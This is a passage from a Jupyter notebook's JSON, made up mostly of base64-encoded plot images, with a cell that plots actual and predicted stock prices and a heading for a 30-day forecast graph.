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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "plt.plot(day_new, scaler.inverse_transform(df_high[1935:]))\n", + "plt.plot(day_pred, scaler.inverse_transform(lst_output))\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "gc5zacyMQhB3" + }, + "source": [ + "**Graph of predicted values for the next 30 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "KAN5u05mQenP", + "outputId": "b89a2ebe-a736-4d29-f026-3ae3a165a421" + }, + "outputs": [ + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAwEAAAFlCAYAAACz5eRwAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOzdd2BV5eHG8e97szckIZABJIEACRvCUhHcCxx171ms1trW2v60dVRtax2tqy7ce7ZuBRUZoqwgIDOQBSQEEhLI3vf9/RG0SBlJuMlJcp/PX8m95577hNbkPPe8w1hrERERERER7+FyOoCIiIiIiHQslQARERERES+jEiAiIiIi4mVUAkREREREvIxKgIiIiIiIl1EJEBERERHxMr5OB9hXdHS0TUxMdDqGiIiIiEiXtnz58p3W2l77e67TlYDExEQyMjKcjiEiIiIi0qUZYzYf6DkNBxIRERER8TIqASIiIiIiXqZFJcAYc7IxJtMYk2WMuWU/z99kjFlnjPneGDPHGNN/z+OjjDGLjDFr9zx3vqd/ABERERERaZ1DlgBjjA/wOHAKkAZcaIxJ2+ewFUC6tXYE8C5w/57Hq4HLrLVDgZOBh40xPTwVXkREREREWq8ldwLGA1nW2hxrbT3wJnDG3gdYa+daa6v3fLsYSNjz+EZr7aY9X28DioD9zlAWEREREZGO0ZISEA9s3ev7/D2PHcjVwGf7PmiMGQ/4A9mtCSgiIiIiIp7l0SVCjTGXAOnAlH0ejwVeAS631rr387oZwAyAfv36eTKSiIiIiIjsoyV3AgqAvnt9n7DnsZ8wxhwP/Ak43Vpbt9fj4cAnwJ+stYv39wbW2pnW2nRrbXqvXhotJCIiIiLSnlpSApYBKcaYJGOMP3AB8OHeBxhjRgNP01wAivZ63B94D3jZWvuu52KLiIiIiEhbHbIEWGsbgRuA2cB64G1r7VpjzN3GmNP3HPYAEAq8Y4xZaYz5oSScBxwNXLHn8ZXGmFGe/zFERERERKSljLXW6Qw/kZ6ebjMyMpyOISIiIiLSpRljlltr0/f3nHYMFhERERHxoDUFZawvLHc6xkF5dHUgERERERFvZK3l6007mbkgh4VZOzkxrTczL9vvh/CdgkqAiIiIiEgbNTS5+eT7Qp5ekMP6wnJiwgK45ZQhXDi+cy97rxIgIiIiItJKlXWNvLl0Cy98k0fB7hpSYkK5/5wRnDEqjgBfH6fjHZJKgIiIiIhICxVV1PLiN3m8ungz5bWNjE+K5O4zhnLM4BhcLuN0vBZTCRAREREROYTs4kqeWZDDf74roMHt5uShfZhxdDKj+/V0OlqbqASIiIiIiBzA8s27eHp+Nl+s34G/j4tz0xO4ZnIySdEhTkc7LCoBIiIiIiJ7cbstczOLeHp+DkvzSokI8uNXxwzksiMSiQ4NcDqeR6gEiIiIiIgA9Y1uPly1jZkLstm4o5L4HkHcMS2N88f1JSSge102d6+fRkRERESklSrrGnljyRaeW5jL9